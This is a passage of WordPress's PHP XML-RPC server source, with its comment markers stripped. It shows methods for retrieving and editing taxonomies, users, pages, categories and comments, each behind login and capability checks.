* @see get_terms()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Taxonomy name.
* @type array $4 Optional. Modifies the query used to retrieve posts. Accepts 'number',
* 'offset', 'orderby', 'order', 'hide_empty', and 'search'. Default empty array.
* }
* @return array|IXR_Error An associative array of terms data on success, IXR_Error instance otherwise.
public function wp_getTerms( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$taxonomy = $args[3];
$filter = isset( $args[4] ) ? $args[4] : array();
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getTerms', $args, $this );
if ( ! taxonomy_exists( $taxonomy ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $taxonomy );
if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
}
$query = array( 'taxonomy' => $taxonomy->name );
if ( isset( $filter['number'] ) ) {
$query['number'] = absint( $filter['number'] );
}
if ( isset( $filter['offset'] ) ) {
$query['offset'] = absint( $filter['offset'] );
}
if ( isset( $filter['orderby'] ) ) {
$query['orderby'] = $filter['orderby'];
if ( isset( $filter['order'] ) ) {
$query['order'] = $filter['order'];
}
}
if ( isset( $filter['hide_empty'] ) ) {
$query['hide_empty'] = $filter['hide_empty'];
} else {
$query['get'] = 'all';
}
if ( isset( $filter['search'] ) ) {
$query['search'] = $filter['search'];
}
$terms = get_terms( $query );
if ( is_wp_error( $terms ) ) {
return new IXR_Error( 500, $terms->get_error_message() );
}
$struct = array();
foreach ( $terms as $term ) {
$struct[] = $this->_prepare_term( $term );
}
return $struct;
}
*
* Retrieves a taxonomy.
*
* @since 3.4.0
*
* @see get_taxonomy()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type string $3 Taxonomy name.
* @type array $4 Optional. Array of taxonomy fields to limit to in the return.
* Accepts 'labels', 'cap', 'menu', and 'object_type'.
* Default empty array.
* }
* @return array|IXR_Error An array of taxonomy data on success, IXR_Error instance otherwise.
public function wp_getTaxonomy( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$taxonomy = $args[3];
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
*
* Filters the default taxonomy query fields used by the given XML-RPC method.
*
* @since 3.4.0
*
* @param array $fields An array of taxonomy fields to retrieve. By default,
* contains 'labels', 'cap', and 'object_type'.
* @param string $method The method name.
$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomy' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getTaxonomy', $args, $this );
if ( ! taxonomy_exists( $taxonomy ) ) {
return new IXR_Error( 403, __( 'Invalid taxonomy.' ) );
}
$taxonomy = get_taxonomy( $taxonomy );
if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to assign terms in this taxonomy.' ) );
}
return $this->_prepare_taxonomy( $taxonomy, $fields );
}
*
* Retrieves all taxonomies.
*
* @since 3.4.0
*
* @see get_taxonomies()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. An array of arguments for retrieving taxonomies.
* @type array $4 Optional. The subset of taxonomy fields to return.
* }
* @return array|IXR_Error An associative array of taxonomy data with returned fields determined
* by `$fields`, or an IXR_Error instance on failure.
public function wp_getTaxonomies( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$filter = isset( $args[3] ) ? $args[3] : array( 'public' => true );
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
$fields = apply_filters( 'xmlrpc_default_taxonomy_fields', array( 'labels', 'cap', 'object_type' ), 'wp.getTaxonomies' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getTaxonomies', $args, $this );
$taxonomies = get_taxonomies( $filter, 'objects' );
Holds all the taxonomy data.
$struct = array();
foreach ( $taxonomies as $taxonomy ) {
Capability check for post types.
if ( ! current_user_can( $taxonomy->cap->assign_terms ) ) {
continue;
}
$struct[] = $this->_prepare_taxonomy( $taxonomy, $fields );
}
return $struct;
}
*
* Retrieves a user.
*
* The optional $fields parameter specifies what fields will be included
* in the response array. This should be a list of field names. 'user_id' will
* always be included in the response regardless of the value of $fields.
*
* Instead of, or in addition to, individual field names, conceptual group
* names can be used to specify multiple fields. The available conceptual
* groups are 'basic' and 'all'.
*
* @uses get_userdata()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 User ID.
* @type array $4 Optional. Array of fields to return.
* }
* @return array|IXR_Error Array contains (based on $fields parameter):
* - 'user_id'
* - 'username'
* - 'first_name'
* - 'last_name'
* - 'registered'
* - 'bio'
* - 'email'
* - 'nickname'
* - 'nicename'
* - 'url'
* - 'display_name'
* - 'roles'
public function wp_getUser( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user_id = (int) $args[3];
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
*
* Filters the default user query fields used by the given XML-RPC method.
*
* @since 3.5.0
*
* @param array $fields An array of user fields to retrieve. By default, contains 'all'.
* @param string $method The method name.
$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUser' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getUser', $args, $this );
if ( ! current_user_can( 'edit_user', $user_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this user.' ) );
}
$user_data = get_userdata( $user_id );
if ( ! $user_data ) {
return new IXR_Error( 404, __( 'Invalid user ID.' ) );
}
return $this->_prepare_user( $user_data, $fields );
}
*
* Retrieves users.
*
* The optional $filter parameter modifies the query used to retrieve users.
* Accepted keys are 'number' (default: 50), 'offset' (default: 0), 'role',
* 'who', 'orderby', and 'order'.
*
* The optional $fields parameter specifies what fields will be included
* in the response array.
*
* @uses get_users()
* @see wp_getUser() for more on $fields and return values
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Arguments for the user query.
* @type array $4 Optional. Fields to return.
* }
* @return array|IXR_Error users data
public function wp_getUsers( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$filter = isset( $args[3] ) ? $args[3] : array();
if ( isset( $args[4] ) ) {
$fields = $args[4];
} else {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getUsers' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getUsers', $args, $this );
if ( ! current_user_can( 'list_users' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to list users.' ) );
}
$query = array( 'fields' => 'all_with_meta' );
$query['number'] = ( isset( $filter['number'] ) ) ? absint( $filter['number'] ) : 50;
$query['offset'] = ( isset( $filter['offset'] ) ) ? absint( $filter['offset'] ) : 0;
if ( isset( $filter['orderby'] ) ) {
$query['orderby'] = $filter['orderby'];
if ( isset( $filter['order'] ) ) {
$query['order'] = $filter['order'];
}
}
if ( isset( $filter['role'] ) ) {
if ( get_role( $filter['role'] ) === null ) {
return new IXR_Error( 403, __( 'Invalid role.' ) );
}
$query['role'] = $filter['role'];
}
if ( isset( $filter['who'] ) ) {
$query['who'] = $filter['who'];
}
$users = get_users( $query );
$_users = array();
foreach ( $users as $user_data ) {
if ( current_user_can( 'edit_user', $user_data->ID ) ) {
$_users[] = $this->_prepare_user( $user_data, $fields );
}
}
return $_users;
}
*
* Retrieves information about the requesting user.
*
* @uses get_userdata()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username
* @type string $2 Password
* @type array $3 Optional. Fields to return.
* }
* @return array|IXR_Error (@see wp_getUser)
public function wp_getProfile( $args ) {
if ( ! $this->minimum_args( $args, 3 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
if ( isset( $args[3] ) ) {
$fields = $args[3];
} else {
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
$fields = apply_filters( 'xmlrpc_default_user_fields', array( 'all' ), 'wp.getProfile' );
}
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getProfile', $args, $this );
if ( ! current_user_can( 'edit_user', $user->ID ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
}
$user_data = get_userdata( $user->ID );
return $this->_prepare_user( $user_data, $fields );
}
*
* Edits user's profile.
*
* @uses wp_update_user()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Content struct. It can optionally contain:
* - 'first_name'
* - 'last_name'
* - 'website'
* - 'display_name'
* - 'nickname'
* - 'nicename'
* - 'bio'
* }
* @return true|IXR_Error True, on success.
public function wp_editProfile( $args ) {
if ( ! $this->minimum_args( $args, 4 ) ) {
return $this->error;
}
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$content_struct = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.editProfile', $args, $this );
if ( ! current_user_can( 'edit_user', $user->ID ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit your profile.' ) );
}
Holds data of the user.
$user_data = array();
$user_data['ID'] = $user->ID;
Only set the user details if they were given.
if ( isset( $content_struct['first_name'] ) ) {
$user_data['first_name'] = $content_struct['first_name'];
}
if ( isset( $content_struct['last_name'] ) ) {
$user_data['last_name'] = $content_struct['last_name'];
}
if ( isset( $content_struct['url'] ) ) {
$user_data['user_url'] = $content_struct['url'];
}
if ( isset( $content_struct['display_name'] ) ) {
$user_data['display_name'] = $content_struct['display_name'];
}
if ( isset( $content_struct['nickname'] ) ) {
$user_data['nickname'] = $content_struct['nickname'];
}
if ( isset( $content_struct['nicename'] ) ) {
$user_data['user_nicename'] = $content_struct['nicename'];
}
if ( isset( $content_struct['bio'] ) ) {
$user_data['description'] = $content_struct['bio'];
}
$result = wp_update_user( $user_data );
if ( is_wp_error( $result ) ) {
return new IXR_Error( 500, $result->get_error_message() );
}
if ( ! $result ) {
return new IXR_Error( 500, __( 'Sorry, the user could not be updated.' ) );
}
return true;
}
*
* Retrieves a page.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type int $1 Page ID.
* @type string $2 Username.
* @type string $3 Password.
* }
* @return array|IXR_Error
public function wp_getPage( $args ) {
$this->escape( $args );
$page_id = (int) $args[1];
$username = $args[2];
$password = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
$page = get_post( $page_id );
if ( ! $page ) {
return new IXR_Error( 404, __( 'Invalid post ID.' ) );
}
if ( ! current_user_can( 'edit_page', $page_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPage', $args, $this );
If we found the page then format the data.
if ( $page->ID && ( 'page' === $page->post_type ) ) {
return $this->_prepare_page( $page );
} else {
If the page doesn't exist, indicate that.
return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
}
}
*
* Retrieves Pages.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Optional. Number of pages. Default 10.
* }
* @return array|IXR_Error
public function wp_getPages( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$num_pages = isset( $args[3] ) ? (int) $args[3] : 10;
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_pages' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPages', $args, $this );
$pages = get_posts(
array(
'post_type' => 'page',
'post_status' => 'any',
'numberposts' => $num_pages,
)
);
$num_pages = count( $pages );
If we have pages, put together their info.
if ( $num_pages >= 1 ) {
$pages_struct = array();
foreach ( $pages as $page ) {
if ( current_user_can( 'edit_page', $page->ID ) ) {
$pages_struct[] = $this->_prepare_page( $page );
}
}
return $pages_struct;
}
return array();
}
*
* Creates a new page.
*
* @since 2.2.0
*
* @see wp_xmlrpc_server::mw_newPost()
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Content struct.
* }
* @return int|IXR_Error
public function wp_newPage( $args ) {
Items not escaped here will be escaped in wp_newPost().
$username = $this->escape( $args[1] );
$password = $this->escape( $args[2] );
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.newPage', $args, $this );
Mark this as content for a page.
$args[3]['post_type'] = 'page';
Let mw_newPost() do all of the heavy lifting.
return $this->mw_newPost( $args );
}
*
* Deletes a page.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Page ID.
* }
* @return true|IXR_Error True, if success.
public function wp_deletePage( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$page_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.deletePage', $args, $this );
* Get the current page based on the 'page_id' and
* make sure it is a page and not a post.
$actual_page = get_post( $page_id, ARRAY_A );
if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) {
return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
}
Make sure the user can delete pages.
if ( ! current_user_can( 'delete_page', $page_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this page.' ) );
}
Attempt to delete the page.
$result = wp_delete_post( $page_id );
if ( ! $result ) {
return new IXR_Error( 500, __( 'Failed to delete the page.' ) );
}
*
* Fires after a page has been successfully deleted via XML-RPC.
*
* @since 3.4.0
*
* @param int $page_id ID of the deleted page.
* @param array $args An array of arguments to delete the page.
do_action( 'xmlrpc_call_success_wp_deletePage', $page_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return true;
}
*
* Edits a page.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type int $1 Page ID.
* @type string $2 Username.
* @type string $3 Password.
* @type string $4 Content.
* @type int $5 Publish flag. 0 for draft, 1 for publish.
* }
* @return array|IXR_Error
public function wp_editPage( $args ) {
Items will be escaped in mw_editPost().
$page_id = (int) $args[1];
$username = $args[2];
$password = $args[3];
$content = $args[4];
$publish = $args[5];
$escaped_username = $this->escape( $username );
$escaped_password = $this->escape( $password );
$user = $this->login( $escaped_username, $escaped_password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.editPage', $args, $this );
Get the page data and make sure it is a page.
$actual_page = get_post( $page_id, ARRAY_A );
if ( ! $actual_page || ( 'page' !== $actual_page['post_type'] ) ) {
return new IXR_Error( 404, __( 'Sorry, no such page.' ) );
}
Make sure the user is allowed to edit pages.
if ( ! current_user_can( 'edit_page', $page_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit this page.' ) );
}
Mark this as content for a page.
$content['post_type'] = 'page';
Arrange args in the way mw_editPost() understands.
$args = array(
$page_id,
$username,
$password,
$content,
$publish,
);
Let mw_editPost() do all of the heavy lifting.
return $this->mw_editPost( $args );
}
*
* Retrieves page list.
*
* @since 2.2.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getPageList( $args ) {
global $wpdb;
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_pages' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit pages.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getPageList', $args, $this );
Get list of page IDs and titles.
$page_list = $wpdb->get_results(
"
SELECT ID page_id,
post_title page_title,
post_parent page_parent_id,
post_date_gmt,
post_date,
post_status
FROM {$wpdb->posts}
WHERE post_type = 'page'
ORDER BY ID
"
);
The date needs to be formatted properly.
$num_pages = count( $page_list );
for ( $i = 0; $i < $num_pages; $i++ ) {
$page_list[ $i ]->dateCreated = $this->_convert_date( $page_list[ $i ]->post_date );
$page_list[ $i ]->date_created_gmt = $this->_convert_date_gmt( $page_list[ $i ]->post_date_gmt, $page_list[ $i ]->post_date );
unset( $page_list[ $i ]->post_date_gmt );
unset( $page_list[ $i ]->post_date );
unset( $page_list[ $i ]->post_status );
}
return $page_list;
}
*
* Retrieves authors list.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getAuthors( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to edit posts.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getAuthors', $args, $this );
$authors = array();
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'display_name' ) ) ) as $user ) {
$authors[] = array(
'user_id' => $user->ID,
'user_login' => $user->user_login,
'display_name' => $user->display_name,
);
}
return $authors;
}
*
* Gets the list of all tags.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* }
* @return array|IXR_Error
public function wp_getTags( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view tags.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getKeywords', $args, $this );
$tags = array();
$all_tags = get_tags();
if ( $all_tags ) {
foreach ( (array) $all_tags as $tag ) {
$struct = array();
$struct['tag_id'] = $tag->term_id;
$struct['name'] = $tag->name;
$struct['count'] = $tag->count;
$struct['slug'] = $tag->slug;
$struct['html_url'] = esc_html( get_tag_link( $tag->term_id ) );
$struct['rss_url'] = esc_html( get_tag_feed_link( $tag->term_id ) );
$tags[] = $struct;
}
}
return $tags;
}
*
* Creates a new category.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Category.
* }
* @return int|IXR_Error Category ID.
public function wp_newCategory( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$category = $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.newCategory', $args, $this );
Make sure the user is allowed to add a category.
if ( ! current_user_can( 'manage_categories' ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to add a category.' ) );
}
* If no slug was provided, make it empty
* so that WordPress will generate one.
if ( empty( $category['slug'] ) ) {
$category['slug'] = '';
}
* If no parent_id was provided, make it empty
* so that it will be a top-level page (no parent).
if ( ! isset( $category['parent_id'] ) ) {
$category['parent_id'] = '';
}
If no description was provided, make it empty.
if ( empty( $category['description'] ) ) {
$category['description'] = '';
}
$new_category = array(
'cat_name' => $category['name'],
'category_nicename' => $category['slug'],
'category_parent' => $category['parent_id'],
'category_description' => $category['description'],
);
$cat_id = wp_insert_category( $new_category, true );
if ( is_wp_error( $cat_id ) ) {
if ( 'term_exists' === $cat_id->get_error_code() ) {
return (int) $cat_id->get_error_data();
} else {
return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) );
}
} elseif ( ! $cat_id ) {
return new IXR_Error( 500, __( 'Sorry, the category could not be created.' ) );
}
*
* Fires after a new category has been successfully created via XML-RPC.
*
* @since 3.4.0
*
* @param int $cat_id ID of the new category.
* @param array $args An array of new category arguments.
do_action( 'xmlrpc_call_success_wp_newCategory', $cat_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
return $cat_id;
}
*
* Deletes a category.
*
* @since 2.5.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Category ID.
* }
* @return bool|IXR_Error See wp_delete_term() for return info.
public function wp_deleteCategory( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$category_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.deleteCategory', $args, $this );
if ( ! current_user_can( 'delete_term', $category_id ) ) {
return new IXR_Error( 401, __( 'Sorry, you are not allowed to delete this category.' ) );
}
$status = wp_delete_term( $category_id, 'category' );
if ( true == $status ) {
*
* Fires after a category has been successfully deleted via XML-RPC.
*
* @since 3.4.0
*
* @param int $category_id ID of the deleted category.
* @param array $args An array of arguments to delete the category.
do_action( 'xmlrpc_call_success_wp_deleteCategory', $category_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}
return $status;
}
*
* Retrieves category list.
*
* @since 2.2.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Category
* @type int $4 Max number of results.
* }
* @return array|IXR_Error
public function wp_suggestCategories( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$category = $args[3];
$max_results = (int) $args[4];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! current_user_can( 'edit_posts' ) ) {
return new IXR_Error( 401, __( 'Sorry, you must be able to edit posts on this site in order to view categories.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.suggestCategories', $args, $this );
$category_suggestions = array();
$args = array(
'get' => 'all',
'number' => $max_results,
'name__like' => $category,
);
foreach ( (array) get_categories( $args ) as $cat ) {
$category_suggestions[] = array(
'category_id' => $cat->term_id,
'category_name' => $cat->name,
);
}
return $category_suggestions;
}
*
* Retrieves a comment.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Comment ID.
* }
* @return array|IXR_Error
public function wp_getComment( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$comment_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getComment', $args, $this );
$comment = get_comment( $comment_id );
if ( ! $comment ) {
return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
}
if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to moderate or edit this comment.' ) );
}
return $this->_prepare_comment( $comment );
}
*
* Retrieves comments.
*
* Besides the common blog_id (unused), username, and password arguments,
* it takes a filter array as the last argument.
*
* Accepted 'filter' keys are 'status', 'post_id', 'offset', and 'number'.
*
* The defaults are as follows:
* - 'status' - Default is ''. Filter by status (e.g., 'approve', 'hold')
* - 'post_id' - Default is ''. The post where the comment is posted.
* Empty string shows all comments.
* - 'number' - Default is 10. Total number of media items to retrieve.
* - 'offset' - Default is 0. See WP_Query::query() for more.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type array $3 Optional. Query arguments.
* }
* @return array|IXR_Error Array containing a collection of comments.
* See wp_xmlrpc_server::wp_getComment() for a description
* of each item contents.
public function wp_getComments( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$struct = isset( $args[3] ) ? $args[3] : array();
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.getComments', $args, $this );
if ( isset( $struct['status'] ) ) {
$status = $struct['status'];
} else {
$status = '';
}
if ( ! current_user_can( 'moderate_comments' ) && 'approve' !== $status ) {
return new IXR_Error( 401, __( 'Invalid comment status.' ) );
}
$post_id = '';
if ( isset( $struct['post_id'] ) ) {
$post_id = absint( $struct['post_id'] );
}
$post_type = '';
if ( isset( $struct['post_type'] ) ) {
$post_type_object = get_post_type_object( $struct['post_type'] );
if ( ! $post_type_object || ! post_type_supports( $post_type_object->name, 'comments' ) ) {
return new IXR_Error( 404, __( 'Invalid post type.' ) );
}
$post_type = $struct['post_type'];
}
$offset = 0;
if ( isset( $struct['offset'] ) ) {
$offset = absint( $struct['offset'] );
}
$number = 10;
if ( isset( $struct['number'] ) ) {
$number = absint( $struct['number'] );
}
$comments = get_comments(
array(
'status' => $status,
'post_id' => $post_id,
'offset' => $offset,
'number' => $number,
'post_type' => $post_type,
)
);
$comments_struct = array();
if ( is_array( $comments ) ) {
foreach ( $comments as $comment ) {
$comments_struct[] = $this->_prepare_comment( $comment );
}
}
return $comments_struct;
}
*
* Deletes a comment.
*
* By default, the comment will be moved to the Trash instead of deleted.
* See wp_delete_comment() for more information on this behavior.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Comment ID.
* }
* @return bool|IXR_Error See wp_delete_comment().
public function wp_deleteComment( $args ) {
$this->escape( $args );
$username = $args[1];
$password = $args[2];
$comment_id = (int) $args[3];
$user = $this->login( $username, $password );
if ( ! $user ) {
return $this->error;
}
if ( ! get_comment( $comment_id ) ) {
return new IXR_Error( 404, __( 'Invalid comment ID.' ) );
}
if ( ! current_user_can( 'edit_comment', $comment_id ) ) {
return new IXR_Error( 403, __( 'Sorry, you are not allowed to delete this comment.' ) );
}
* This action is documented in wp-includes/class-wp-xmlrpc-server.php
do_action( 'xmlrpc_call', 'wp.deleteComment', $args, $this );
$status = wp_delete_comment( $comment_id );
if ( $status ) {
*
* Fires after a comment has been successfully deleted via XML-RPC.
*
* @since 3.4.0
*
* @param int $comment_id ID of the deleted comment.
* @param array $args An array of arguments to delete the comment.
do_action( 'xmlrpc_call_success_wp_deleteComment', $comment_id, $args ); phpcs:ignore WordPress.NamingConventions.ValidHookName.NotLowercase
}
return $status;
}
*
* Edits a comment.
*
* Besides the common blog_id (unused), username, and password arguments,
* it takes a comment_id integer and a content_struct array as the last argument.
*
* The allowed keys in the content_struct array are:
* - 'author'
* - 'author_url'
* - 'author_email'
* - 'content'
* - 'date_created_gmt'
* - 'status'. Common statuses are 'approve', 'hold', 'spam'. See get_comment_statuses() for more details.
*
* @since 2.7.0
*
* @param array $args {
* Method arguments. Note: arguments must be ordered as documented.
*
* @type int $0 Blog ID (unused).
* @type string $1 Username.
* @type string $2 Password.
* @type int $3 Comment ID.
* @type array $4 Content structure.
* }
* @return true|IXR_Error True, on success.
public function wp_editComment( $args ) {
$this->escape( $args );
$username = $args[1];
